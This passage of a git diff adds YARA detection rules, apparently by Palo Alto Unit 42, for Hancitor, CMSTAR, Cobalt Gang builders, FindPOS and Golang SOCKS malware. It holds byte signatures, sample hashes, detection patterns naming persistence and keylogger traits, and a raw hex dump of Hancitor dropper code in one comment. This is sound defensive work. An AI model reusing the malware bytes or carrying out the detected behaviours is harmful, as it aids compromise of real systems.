?? ?? ?? 0F B7 ?? B2 ?? 2A ?? B0 ?? 8? ?? ?? ?? 8? ?? ?? ?? ?? ?? 84 ?? 74 ?? B9 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? 8D ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 30 ?? ?? ?? ?? ?? 0F BE ?? B0 ?? 83 ?? ?? A2 ?? ?? ?? ?? 83 ?? ?? 0F 82 ?? ?? ?? ?? 0F BF ?? ?? ?? ?? ?? 8? ?? 6B ?? ?? B8 ?? ?? ?? ?? F7 ?? 03 ?? C1 ?? ?? 8? ?? C1 ?? ?? 03 ?? 8? ?? ?? ?? A0 ?? ?? ?? ?? 34 ?? A2 ?? ?? ?? ?? A1 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? BA ?? ?? ?? ?? D3 ?? 8? ?? 83 ?? ?? D3 ?? 8? ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 33 ?? 23 ?? 66 31 ?? ?? ?? ?? ?? 0F BE ?? ?? ?? ?? ?? 83 ?? ?? 23 ?? 33 ?? 81 ?? ?? ?? ?? ?? 0F 94 ?? 8? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0B ?? 81 ?? ?? ?? ?? ?? 33 ?? 66 83 ?? ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 66 8B ?? ?? ?? ?? ?? 0F 94 ?? 66 33 ?? ?? ?? 49 66 23 ?? 85 ?? 75 ?? 8? ?? ?? ?? 32 ?? 66 0F BE ?? A2 ?? ?? ?? ?? 0F BE ?? 41 69 ?? ?? ?? ?? ?? 21 ?? ?? ?? ?? ?? 0F B7 ?? 8? ?? ?? ?? 33 ?? B9 ?? ?? ?? ?? F7 ?? A0 ?? ?? ?? ?? 8? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 8? ?? ?? ?? 8? ?? ?? ?? ?? ?? FE ?? 0F BE ?? 80 ?? ?? 2D ?? ?? ?? ?? BA ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 75 ?? 66 85 ?? 74 ?? 8? ?? FE ?? A2 ?? ?? ?? ?? 8? ?? 2C ?? 0C ?? A2 ?? ?? ?? ?? BA ?? ?? ?? ?? 33 ?? 4A 66 85 ?? 0F 95 ?? 22 ?? 2A ?? 85 ?? 75 ?? 8? ?? ?? ?? 8? ?? ?? ?? ?? ?? 33 ?? 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? B0 ?? 0F 94 ?? 8? ?? ?? ?? 80 ?? ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 8? ?? D2 ?? C0 ?? ?? 0A ?? ?? ?? ?? ?? 66 0F BE ?? B8 ?? ?? ?? ?? F7 ?? A1 ?? ?? ?? ?? C1 ?? ?? 69 ?? ?? ?? ?? ?? 2B ?? 03 ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 8? ?? 0F BE ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? F7 ?? 03 ?? C1 ?? ?? 8? ?? C1 ?? ?? 03 ?? 69 ?? ?? ?? ?? ?? 8? ?? 2B ?? 03 ?? 0F BF ?? ?? ?? 8? ?? ?? ?? 83 ?? ?? 0F 94 ?? 32 ?? ?? ?? ?? ?? 8? ?? ?? ?? 34 ?? A2 ?? ?? ?? ?? 33 ?? 81 ?? ?? ?? ?? ?? 0F 94 ?? 23 ?? 83 ?? ?? 74 ?? 80 ?? ?? ?? ?? ?? ?? 74 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 30 ?? ?? ?? ?? ?? 8? ?? ?? ?? A0 ?? ?? ?? ?? D3 ?? 32 ?? 34 ?? 33 ?? 3B ?? ?? ?? A2 ?? ?? ?? ?? 0F 94 ?? 33 ?? ?? ?? ?? ?? 75 ?? 66 39 ?? ?? ?? ?? ?? 75 ?? 33 ?? EB ?? B8 ?? ?? ?? ?? 28 ?? ?? ?? ?? ?? 33 ?? 39 ?? ?? ?? ?? ?? 8? ?? ?? ?? 0F 94 ?? C7 ?? ?? ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? B8 ?? ?? ?? ?? 8? ?? ?? ?? F7 ?? 8? ?? 2B ?? D1 ?? 03 ?? C1 ?? ?? 8? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 66 83 ?? ?? ?? ?? 75 ?? 8D ?? ?? 85 ?? 75 ?? 33 ?? EB ?? B9 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? A0 ?? ?? ?? ?? 32 ?? 66 0F BE ?? 66 2B ?? 8? ?? 66 D3 ?? 0F BE ?? A2 ?? ?? ?? ?? 8? ?? ?? ?? 3B ?? 0F 94 ?? 0A ?? 0F B6 ?? 8? ?? ?? ?? ?? ?? 0F BE ?? 8? ?? 02 ?? 81 ?? ?? ?? ?? ?? 74 ?? 85 ?? 75 ?? 8? ?? ?? ?? ?? ?? 39 ?? ?? ?? 74 ?? 33 ?? EB ?? 8? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8? ?? ?? ?? 66 33 ?? A1 ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 8? ?? ?? ?? 69 ?? ?? ?? ?? ?? 2B ?? 33 ?? 03 ?? 0F B7 ?? 8? ?? ?? ?? BE ?? ?? ?? ?? 8? ?? 80 ?? ?? 0A ?? 83 ?? ?? 75 ?? }
+	$meta_CN = "SynapticosSoft, Corporation." wide ascii // CompanyName
+	$meta_PN = "ngqlgdA" wide ascii // ProductName
+	$meta_OF = "MpklYuere.exe" wide ascii // OriginalFilename	
+
+        condition:
+            uint16be(0) == 0x4D5A and ($byte_code or all of ($meta_*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/paloalto/ce_enfal_cmstar_debug_msg.yar b/yara-mikesxrs/paloalto/ce_enfal_cmstar_debug_msg.yar
new file mode 100644
index 0000000..1b72350
--- /dev/null
+++ b/yara-mikesxrs/paloalto/ce_enfal_cmstar_debug_msg.yar
@@ -0,0 +1,37 @@
+rule ce_enfal_cmstar_debug_msg
+
+{
+
+	meta:
+
+		author = "rfalcone"
+
+		description = "Detects the static debug strings within CMSTAR"
+
+		reference = "9b9cc7e2a2481b0472721e6b87f1eba4faf2d419d1e2c115a91ab7e7e6fc7f7c"
+
+		date = "5/10/2015"
+
+		link = "http://researchcenter.paloaltonetworks.com/2015/05/cmstar-downloader-lurid-and-enfals-new-cousin/"
+
+	strings:
+
+		$d1 = "EEE\x0d\x0a" fullword
+
+		$d2 = "TKE\x0d\x0a" fullword
+
+		$d3 = "VPE\x0d\x0a" fullword
+
+		$d4 = "VPS\x0d\x0a" fullword
+
+		$d5 = "WFSE\x0d\x0a" fullword
+
+		$d6 = "WFSS\x0d\x0a" fullword
+
+		$d7 = "CM**\x0d\x0a" fullword
+
+	condition:
+
+		uint16(0) == 0x5a4d and all of ($d*)
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/paloalto/cobalt_gang_builder.yar b/yara-mikesxrs/paloalto/cobalt_gang_builder.yar
new file mode 100644
index 0000000..394d0b6
--- /dev/null
+++ b/yara-mikesxrs/paloalto/cobalt_gang_builder.yar
@@ -0,0 +1,41 @@
+rule cmstp_macro_builder_rev_a
+{
+    meta:
+        description="CMSTP macro builder based on variable names and runtime invoke"
+        author="Palo Alto Networks Unit42"
+        reference = "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/"
+    strings:
+        $method="CallByName"
+        $varexp=/[A-Za-z]k[0-9]{2}([0-9]{1})/
+    condition:
+        $method and
+        #method == 2 and
+        #varexp > 10
+ 
+}
+ 
+rule cmstp_macro_builder_rev_b {
+    meta:
+        description="CMSTP macro builder based on routines and functions names and runtime invoke"
+        author="Palo Alto Networks Unit42"
+        reference = "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/"
+    strings:
+        $func=/Private Function [A-Za-z]{1,5}[0-9]{2,3}\(/
+        $sub=/Sub [A-Za-z]{1,5}[0-9]{2,5}\(/
+        $call="CallByName"
+    condition:
+        $call and
+        #func > 1 and
+        #sub > 1
+}
+
+rule cobaltgang_pdf_metadata_rev_a{
+    meta:
+        description="Find documents saved from the same potential Cobalt Gang PDF template"
+        author="Palo Alto Networks Unit 42"
+        reference = "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/"
+    strings:
+             $ = "<xmpMM:DocumentID>uuid:31ac3688-619c-4fd4-8e3f-e59d0354a338" ascii wide
+    condition:
+             any of them
+}
diff --git a/yara-mikesxrs/paloalto/findpos.yar b/yara-mikesxrs/paloalto/findpos.yar
new file mode 100644
index 0000000..c32b191
--- /dev/null
+++ b/yara-mikesxrs/paloalto/findpos.yar
@@ -0,0 +1,28 @@
+import "cuckoo"
+ 
+rule findpos
+{
+	meta:
+		description = "FindPOS is a newly discovered POS family."
+		category = "Point of Sale"
+		author = "Josh Grunzweig"
+ 
+	strings:
+		$s1 = "oprat=2&uid=%I64u&uinfo=%s&win=%d.%d&vers=%s" nocase wide ascii
+ 
+		$pdb1 = "H:\\Work\\Current\\FindStr\\Release\\FindStr.pdb" nocase wide ascii
+		$pdb2 = "H:\\Work\\FindStrX\\Release\\FindStr.pdb" nocase wide ascii
+    		$pdb3 = "H:\\Work\\Current\\KeyLogger\\Release\\KeyLogger.pdb" nocase wide ascii
+ 
+	condition:
+		any of ($s*) or
+		any of ($pdb*) or
+        (
+          cuckoo.sync.mutex(/WIN_[a-fA-F0-9]{16}/) and
+          cuckoo.registry.key_access(/\\Software\\Microsoft\\Windows\\CurrentVersion\\Run/) and
+          (
+              cuckoo.filesystem.file_access(/C\:\\WINDOWS\\System32\\\w{8}\.exe/) or
+              cuckoo.filesystem.file_access(/C\:\\Documents\ and\ Settings\\[^\\]+\\\w{8}\.exe/)
+          )
+        )
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/paloalto/general_win_dll_golang_socks.yar b/yara-mikesxrs/paloalto/general_win_dll_golang_socks.yar
new file mode 100644
index 0000000..9708ca3
--- /dev/null
+++ b/yara-mikesxrs/paloalto/general_win_dll_golang_socks.yar
@@ -0,0 +1,15 @@
+import "pe"
+
+rule general_win_dll_golang_socks
+{
+    meta:
+        author = "paloaltonetworks"
+        date = "2022-03-13"
+        description = "Highly suspicious GO DLL with proxy communication capabilities"
+        reference = "https://unit42.paloaltonetworks.com/popping-eagle-malware/"
+ 
+    condition:    
+        general_win_golang_socks and 
+        (pe.characteristics & pe.DLL) and pe.is_dll()
+}
+
diff --git a/yara-mikesxrs/paloalto/general_win_faked_dlls_export_popo.yar b/yara-mikesxrs/paloalto/general_win_faked_dlls_export_popo.yar
new file mode 100644
index 0000000..89e6900
--- /dev/null
+++ b/yara-mikesxrs/paloalto/general_win_faked_dlls_export_popo.yar
@@ -0,0 +1,22 @@
+import "pe"
+
+rule general_win_faked_dlls_export_popo    
+{
+    meta:
+        author = "paloaltonetworks"
+        date = "2022-03-13"
+        description = "Detects DLL files with an export function named 'popo'"
+        reference = "https://unit42.paloaltonetworks.com/popping-eagle-malware/"
+        hash0 = "e5e89d8db12c7dacddff5c2a76b1f3b52c955c2e86af8f0b3e36c8a5d954b5e8"    // fake uxtheme.dll
+        hash1 = "95676c8eeaab93396597e05bb4df3ff8cc5780ad166e4ee54484387b97f381df"   // fake uxtheme.dll
+        hash2 = "59d12f26cbc3e49e28be13f0306f5a9b1a9fd62909df706e58768d2f0ccca189"    // fake uxtheme.dll
+        hash3 = "0dc8f17b053d9bfab45aed21340a1f85325f79e0925caf21b9eaf9fbdc34a47a"    // ClickRuntime-amd86.dll
+
+    condition:
+        (pe.characteristics & pe.DLL) and pe.is_dll() and
+        filesize < 20MB and 
+        (    
+             pe.exports("popo") or 
+             pe.exports("Popo")
+        )
+	
diff --git a/yara-mikesxrs/paloalto/general_win_golang_socks.yar b/yara-mikesxrs/paloalto/general_win_golang_socks.yar
new file mode 100644
index 0000000..66d5a9a
--- /dev/null
+++ b/yara-mikesxrs/paloalto/general_win_golang_socks.yar
@@ -0,0 +1,30 @@
+import "pe"
+
+rule general_win_golang_socks
+{
+    meta:
+        author = "paloaltonetworks"
+        date = "2022-03-13"
+        description = "potentially unwanted GO application with proxy communication capabilities"
+        reference = "https://unit42.paloaltonetworks.com/popping-eagle-malware/"
+ 
+    strings:
+        $go_name_1 = "main.go" nocase ascii // default go name for the “func main(){...}� in "package main�
+        $go_name_2 = "eagle" nocase ascii
+        $go_name_3 = "popo" nocase ascii
+        $go_name_4 = "-Client-Dll/" nocase ascii
+ 
+        $go_pkg_1 = "github.com/armon/go-socks5" nocase wide ascii
+        $go_pkg_2 = "github.com/hashicorp/yamux" nocase wide ascii
+        $go_pkg_3 = "github.com/fatedier/frp/vendor" wide ascii  
+        $go_pkg_4 = "github.com/rofl0r/rocksocks5" wide ascii  
+ 
+    condition:
+        uint16(0) == 0x5a4d and 
+        filesize < 7MB and
+        (
+            1 of ($go_name_*) and 
+            2 of ($go_pkg_*)
+        )
+}
+
diff --git a/yara-mikesxrs/paloalto/hancitor_dropper.yar b/yara-mikesxrs/paloalto/hancitor_dropper.yar
new file mode 100644
index 0000000..c36e33a
--- /dev/null
+++ b/yara-mikesxrs/paloalto/hancitor_dropper.yar
@@ -0,0 +1,80 @@
+rule hancitor_dropper : vb_win32api
+{
+	meta:
+		author = "Jeff White - jwhite@paloaltonetworks.com @noottrak"
+		date   = "18AUG2016"
+		hash1  = "03aef51be133425a0e5978ab2529890854ecf1b98a7cf8289c142a62de7acd1a"
+		hash2  = "4b3912077ef47515b2b74bc1f39de44ddd683a3a79f45c93777e49245f0e9848"
+		hash3  = "a78972ac6dee8c7292ae06783cfa1f918bacfe956595d30a0a8d99858ce94b5a"
+        reference = "https://github.com/pan-unit42/public_tools/tree/master/hancitor"
+		
+	strings:
+		$api_01 = { 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 } 		// VirtualAlloc
+		$api_02 = { 00 52 74 6C 4D 6F 76 65 4D 65 6D 6F 72 79 00 }		// RtlMoveMemory
+		$api_04 = { 00 43 61 6C 6C 57 69 6E 64 6F 77 50 72 6F 63 41 00 }	// CallWindowProcAi
+		$magic  = { 50 4F 4C 41 }						// POLA
+
+	condition:
+		uint32be(0) == 0xD0CF11E0 and all of ($api_*) and $magic
+}
+
+/*
+
+SAMPLES:
+
+000f7832251ae4ba41c42c46d83cbf13d0b2aed0c1f949fbe68b728fdcb2fada_S2.exe
+0002218f5c47ef709e390288e4268a02bb9d9087a996bb55d3a9c23d68a46760_S2.exe
+000fa485eda66fd4b5acd3fee4e2cdf5bd8e82a4968d27c202fe4747dfb57d00_S2.exe
+001451cfe7d492163ebcdaa2a3da9eb849ab0bd509cd969dd75965c88c19d5d4_S2.exe
+001627a8adaf2ea97b19dd4f6b915abf57bd41b4fe7af33d5f9f381a97d04a3d_S2.exe
+001856ba5da54bdf6cb87c61254af2ca9f936e83402e43579177bd0f4ac1f120_S2.exe
+0022f6c5ec68cabb34eee693cb23cb72a1099719b93f552cb9a09a99a0086afc_S2.exe
+002763b63f07529dd29c7840fed0e1bc68c974364b3aa64f7b6b225ca191f87f_S2.exe
+002ccf946b928eb123790aa8a6a4e1574827f6d387c661003df6e095d1d9137b_S2.exe
+002d93a56d6da0d4cd39c1d1bb36ebfb8bb493b0a204882120fc305c1b840caa_S2.exe
+0031be555860fee238837c1004d2f0ec353487ce6f9d0715106bb5670d965862_S2.exe
+0033f126d294bdda76e68d8dc994189a5d82e728e9e2cbe273789107bd855e06_S2.exe
+0039b33d9b86b02a4df6a605018a9749693ea3d871b187d9d1e1e0ec58e63f26_S2.exe
+003e0e981f9ec2f4ff844161dc2aca600df38965b9dd586532ede80f6367e90b_S2.exe
+0042539fb052745f1568b089bf86e41d393b981cdfc7201f7d8bdde145714fe2_S2.exe
+0043d7cf12ad497de3cc4739a435f1765ec4c65e05e1f21faecfe40cc9d4fc35_S2.exe
+004fa50455bac533cfa150660a6148ed20eb19a1169aa48991367eabb7494f1e_S2.exe
+00509f0c3436a02e09a49226169d28979d0b4eb42375cf2dbb1733cc67333b73_S2.exe
+0056fc1baedc78d43638f509d4a2ff617567cdffe4e0aa6a9892d80b076b2e4d_S2.exe
+0058b39843b0c37520a28a4d239de2e934a811159fe6a310e63b9fcf85ac2cf7_S2.exe
+005b3491673d414c65c0b2c8c351b672dd41a1679c97ffd7e4e0a6b1d00580a9_S2.exe
+005dee83851ee0db47b705b4ac6857bc4649e59c47418208d62ce3cc0c1f9a02_S2.exe
+006446a6303d85b5427139c6bc08c0f12e361d49cd7fa1ccc3e431d2fdd56d8c_S2.exe
+006495c7fb7388f0513a24d9d09bf9517d5a3fd05c0da7d39311f6e6cf0f8fe3_S2.exe
+0065a97402349fbbe5195effd6329ed89eb276ac3f728c7f8827d913d1296037_S2.exe
+006cc18d23ba7ec78ce5d3e78cde63157abd05b1e1908c93c35f99933637a6e7_S2.exe
+006cc87046164b41330918db95150f16227aa235865c4c95283b2d5fb9bd0d18_S2.exe
+008d53efab6e0be2f356ce86581414db9804d46170eea4b408b6f23690a35487_S2.exe
+009794dbe2aefed8ebd0d433c4b5c8931f6b3c1eaf0fbb34ad3fb247ae8dd0b5_S2.exe
+009b714c0a6731f2eadd04dab409172d34986526a298b7a1fe4f51152bf6773e_S2.exe
+00a1fb0d0a45ec998f65a458e55790e49944bb36b9398d7be495aa7ac7f27ac4_S2.exe
+00a24e6e5da9bea88f695e7b15621f418f683ce0b185ee67ba66e91bfe360e53_S2.exe
+00a90d131960bbad21a4f787f328d69b3af514f6e800cea606deb97aa0393e29_S2.exe
+00aae024d89ebdee5464f410fe588f31a1888f84eb68ee6dddb1ddf9b86012aa_S2.exe
+00ae14dc7815f74b083abc290d561d59fa8bc9717c22423fdec109bedc0de170_S2.exe
+00b088c257b7aab93e262445085337261a8b6d4369e9e48c6fe840c56971d8c2_S2.exe
+00b3c741c366252a8472046960b35636cf6c651a73d94d2810d14446dfae6db1_S2.exe
+00b46ed617c1d651dadd8b4abad8b644f30e49e0d12bc378dfb720f9b55b6277_S2.exe
+00b4f5d82ff5636d87821e2eb367c63bf83f478d4d4c480a3d9bc920bcd23f4a_S2.exe
+00b515429f4b16a501d7c97999eb884210dcf5b413b3896e11c03a926b31289f_S2.exe
+00bdb09cd6dfc308cc101aa009240ba612df781c62efb705f7b2ba9c198494d9_S2.exe
+00c4a1abded604c193671ac83935cf5e84bf272b5b574c26dfc814821d38155e_S2.exe
+00c7f1f0183fdb23eba1c5bfbe94518bbe22093bd8ae648c8c242229ca65c46a_S2.exe
+00c9f1276737f9ab4eb49c6c3a8c955cae7085fb7744ab0f0b90cc6b83eea377_S2.exe
+00d552f43b11e0017ff34576e2fbe5d47db4c5141ed0cc7cad1a6367a5161839_S2.exe
+00dc95924de13484980037630e916271fdf0568fbb77b2dbe0b622f526b403ba_S2.exe
+00ded1b849e87b266e63924bf17e7e142899d1dd57d6085ec6490c29c65c6008_S2.exe
+00e67a9a4b5be7bd31fbc88bb3b6e34107f1a93b2b6dab0598cedcfb410fe256_S2.exe
+00e706f9118c32ed1cd3ce9e0444053c47daffc3e7e53b32061ec039834292ca_S2.exe
+00f0424b7659c7ec499c70cfcea411f71672fc89c92f564bf11b0a043059d2dd_S2.exe
+
+BYTES:
+
+558bec833d805b400000750bff1540404000a3805b4000833d805b40000074158b4508506a008b0d805b400051ff1544404000eb0233c05dc3cccccccccccccc558bec833d805b40000074138b4508506a008b0d805b400051ff15484040005dc3cccccccccccccccccccccccccccccc558bec83ec088b45088945f88b4d10894dfc8b551083ea01895510837dfc0074138b45088a4d0c88088b550883c201895508ebd88b45f88be55dc3cccccccccc558bec83ec088b45088945f88b4d10894dfc8b551083ea01895510837dfc00741e8b45088b4d0c8a1188108b450883c0018945088b4d0c83c101894d0cebcd8b45f88be55dc3cccccccccccccccccccc558bec833d885b400000750ac705885b40005c504000b80100000085c074498b0d885b40000fbe1183fa7c740ca1885b40000fbe0885c975088b5508c60200eb278b45088b0d885b40008a1188108b450883c0018945088b0d885b400083c101890d885b4000ebae8b15885b40000fbe0283f87c750f8b0d885b400083c101890d885b40008b15885b40000fbe0285c0750ec705885b40000000000033c0eb05b8010000005dc3cccccccccccccccccc558bec833d845b40000075186a006a006a006a006880414000ff1514414000a3845b4000a1845b40005dc3cccccccccc558bec81ec74020000a10450400033c58945fc6a3c6a008d85a8fdffff50e86dfeffff83c40cc785a8fdffff3c0000008d8df8feffff898db8fdffffc785bcfdffff040100008d95f4fdffff8995d4fdffffc785d8fdffff040100008d85a8fdffff506a006a008b4d0c51ff151041400085c0750733c0e97902000083bdb4fdffff00750ac785b4fdffff0300000083bdb4fdffff03741083bdb4fdffff04740733c0e94d020000e823ffffff898594fdffff83bd94fdffff00750733c0e932020000668b95c0fdffff6689959cfdffffc78598fdffff0081088483bdb4fdffff0475118b8598fdffff0d00308000898598fdffff6a006a006a036a006a000fb78d9cfdffff518d95f8feffff528b8594fdffff50ff150c4140008985a0fdffff83bda0fdffff00750733c0e9c4010000837d0801750cc78590fdffffc8414000eb0ac78590fdffffd04140006a008b8d98fdffff5168085040006a006a008d95f4fdffff528b8590fdffff508b8da0fdffff51ff15084140008985a4fdffff83bda4fdffff0075148b95a0fdffff52ff150441400033c0e95801000083bdb4fdffff047550c785e8fdffff040000008d85e8fdffff508d8df0fdffff516a1f8b95a4fdffff52ff15004140008b85f0fdffff0d001100008985f0fdffff6a048d8df0fdffff516a1f8b95a4fdffff52ff1518414000c7858cfdffff00000000837d100074108b451050ff154c40400089858cfdffff8b8d8cfdffff518b5510526810504000ff154c4040005068105040008b85a4fdffff50ff15f4404000c785ecfdffff00000000c785e4fdffff040000006a008d8de4fdffff518d95ecfdffff5268130000208b85a4fdffff50ff15f840400081bdecfdffffc80000007545837d1400743f8b4d1c518b551883ea01528b4514508b8da4fdffff51ff15fc40400085c074168b551c833a00760e8b451c8b088b5514c6040a00eb098b451cc700000000008b8da4fdffff51ff15044140008b95a0fdffff52ff150441400081bdecfdffffc80000007507b801000000eb0233c08b4dfc33cde8b42400008be55dc3cccccccccccccccccccccccccc558bec8b4518508b4d14518b5510528b450c508b4d08516a01e8d2fcffff83c4185dc3cccccccccccccccccccccccccc558bec8b4518508b4d14518b5510528b450c508b4d08516a00e8a2fcffff83c4185dc3cccccccccccccccccccccccccc558bec81ec74020000a10450400033c58945fc6a3c6a008d85a4fdffff50e8fdfaffff83c40cc785a4fdffff3c0000008d8df8feffff898db4fdffffc785b8fdffff040100008d95f4fdffff8995d0fdffffc785d4fdffff040100008d85a4fdffff506a006a008b4d0851ff151041400085c0750733c0e97402000083bdb0fdffff00750ac785b0fdffff0300000083bdb0fdffff03741083bdb0fdffff04740733c0e948020000e8b3fbffff898590fdffff83bd90fdffff00750733c0e92d020000ba500000006689959cfdffffc78594fdffff0081088483bdb0fdffff04751eb8bb0100006689859cfdffff8b8d94fdffff81c900308000898d94fdffff6a016a006a036a006a000fb7959cfdffff528d85f8feffff508b8d90fdffff51ff150c414000898598fdffff83bd98fdffff00750733c0e9b40100006a018b9594fdffff5268085040006a006a008d85f4fdffff5068d44140008b8d98fdffff51ff15084140008985a0fdffff83bda0fdffff0075148b9598fdffff52ff150441400033c0e96601000083bdb0fdffff047550c785e8fdffff040000008d85e8fdffff508d8df0fdffff516a1f8b95a0fdffff52ff15004140008b85f0fdffff0d001100008985f0fdffff6a048d8df0fdffff516a1f8b95a0fdffff52ff15184140006a006a006810504000ff154c4040005068105040008b85a0fdffff50ff15f4404000c785ecfdffff00000000c785e4fdffff040000006a008d8de4fdffff518d95ecfdffff5268130000208b85a0fdffff50ff15f840400081bdecfdffffc8000000757a837d0c0074748b4d14c70100000000ba0100000085d274628d85e0fdffff508b4d10518b550c528b85a0fdffff50ff15fc40400089858cfdffff83bd8cfdffff01753383bde0fdffff00742a8b4d0c038de0fdffff894d0c8b55102b95e0fdffff8955108b45148b08038de0fdffff8b5514890aeb02eb02eb958b85a0fdffff50ff15044140008b8d98fdffff51ff150441400081bdecfdffffc80000007507b801000000eb0233c08b4dfc33cde8492100008be55dc3cccc558bec81ec14010000a10450400033c58945fc68040100008d85f8feffff50ff15504040008985ecfeffff83bdecfeffff00745bb9010000006bd1038995f0feffff81bdf0feffff040100007302eb05e8222200008b85f0feffffc68405f8feffff006a006a006a006a008d8df4feffff516a006a008d95f8feffff52ff155440400085c074088b85f4feffffeb0233c08b4dfc33cde8a82000008be55dc3cc558bec83ec2ca10450400033c58945fc0f57c0660f1345e4c745f0008000008b45f050e8e8f6ffff83c4048945e08b4de0894dec8d55f0528b45ec506a006a006a02ff151c4040008945dc837ddc00754d837dec0074476a086a008d4df451e81cf7ffff83c40c8b55ec8b4234508b4dec83c12c518d55f452e842f7ffff83c40c8b45e43345f48b4de8334df88945e4894de88b55ec8b42088945ecebb38b4de051e8a9f6ffff83c404e8b1feffff33d28945d48955d88b45d48b55d8b120e8fc2100003345e43355e88b4dfc33cde8cf1f00008be55dc3cccccccccccccccc558beca1385c40000b053c5c40007510e80bffffffa3385c400089153c5c4000a1385c40008b153c5c40005dc3cccccc558bec83ec08a10450400033c58945fcb8010000006bc8000fbe91145c400085d2741668145c40008b450850ff1558404000b801000000eb468d4df8516a2068145c40006a0068d8414000e8d0faffff83c41483f801751668145c40008b550852ff1558404000b801000000eb1168f04140008b450850ff155840400033c08b4dfc33cde80a1f00008be55dc3cccccc558bec81ec0c020000a10450400033c58945fcc785f8fdffff00010000c785f4fdffff000000008d85f8fdffff508b8df8fdffff518d95fcfdffff5268f8414000e87afaffff83c41083f801755db8010000006bc8000fbe940dfcfdffff83fa3c7548b801000000c1e0000fbe8c05fcfdffff83f9217533ba01000000d1e20fbe8415fcfdffff83f864751fb9010000006bd1030fbe8415fcfdffff83f86f750ac785f4fdffff010000008b85f4fdffff8b4dfc33cde8481e00008be55dc3cc558becb8010000006bc8008b55080fbe040a83f87b757eb901000000d1e18b55080fbe040a83f83a756bb901000000c1e1008b55080fbe040a83f8727450b901000000c1e1008b55080fbe040a83f875743cb901000000c1e1008b55080fbe040a83f8647428b901000000c1e1008b55080fbe040a83f86c7414b901000000c1e1008b55080fbe040a83f86e7507b801000000eb0233c05dc3cccccccccccccc558becb801000000c1e0008b4d080fbe140183fa3a756bb8010000006bc8008b55080fbe040a83f8727450b9010000006bd1008b45080fbe0c1083f975743cba010000006bc2008b4d080fbe140183fa647428b8010000006bc8008b55080fbe040a83f86c7414b9010000006bd1008b45080fbe0c1083f96e7507b801000000eb0233c05dc3cccccccccccccccccccc558bec81ec44050000a10450400033c58945fcff155c4040008985d8faffffe82cfdffff8985bcfaffff8995c0faffff8d85dcfeffff50e8040c000083c4048d4ddc51e838fdffff83c4048b95d8faffff81e2ffff00000fb7c225ff0000000fb6c8898dc4faffff8b95d8faffff81e2ffff00000fb7c2c1e80825ff0000000fb6c8898dc8faffffe8131c00008985ccfaffff83bdccfaffff01750cc785d4faffff0c424000eb0ac785d4faffff104240008b95d4faffff528b85c8faffff508b8dc4faffff518d55dc528d85dcfeffff50684c5040008b8dc0faffff518b95bcfaffff5268144240008d85dcfaffff50ff15ec40400083c428833d105c40000075236800040000e873f2ffff83c404a3105c4000b9010000006bd100a1105c4000c6041000c785d0faffff0100000083bdd0faffff010f858b000000b9010000006bd100a1105c40000fbe0c1085c975158b15105c400052e822f3ffff
+
+*/
\ No newline at end of file
diff --git a/yara-mikesxrs/paloalto/hancitor_payload.yar b/yara-mikesxrs/paloalto/hancitor_payload.yar
new file mode 100644
index 0000000..af94f55
--- /dev/null
+++ b/yara-mikesxrs/paloalto/hancitor_payload.yar
@@ -0,0 +1,70 @@
+rule hancitor_payload
+    {
+        meta:
+            author      = "Jeff White - jwhite@paloalnetworks.com @noottrak"
+            date        = "26AUG2016"
+            reference   = "https://github.com/pan-unit42/public_tools/tree/master/hancitor"
+
+
+        strings:
+            $byte_code = { 5? 8? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? FF ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 8? ?? ?? 5? 6A ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? EB ?? 33 ?? 5D C3 CC CC CC CC CC CC CC 5? 8? ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 8? ?? ?? 5? 6A ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 5D C3 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC 5? 8? ?? 83 ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 83 ?? ?? 8? ?? ?? 83 ?? ?? ?? 74 ?? 8? ?? ?? 8? ?? ?? 8? ?? 8? ?? ?? 83 ?? ?? 8? ?? ?? EB ?? 8? ?? ?? 8? ?? 5D C3 CC CC CC CC CC 5? 8? ?? 83 ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 83 ?? ?? 8? ?? ?? 83 ?? ?? ?? 74 ?? 8? ?? ?? 8? ?? ?? 8? ?? 8? ?? 8? ?? ?? 83 ?? ?? 8? ?? ?? 8? ?? ?? 83 ?? ?? 8? ?? ?? EB ?? 8? ?? ?? 8? ?? 5D C3 CC CC CC CC CC CC CC CC CC CC 5? 8? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 85 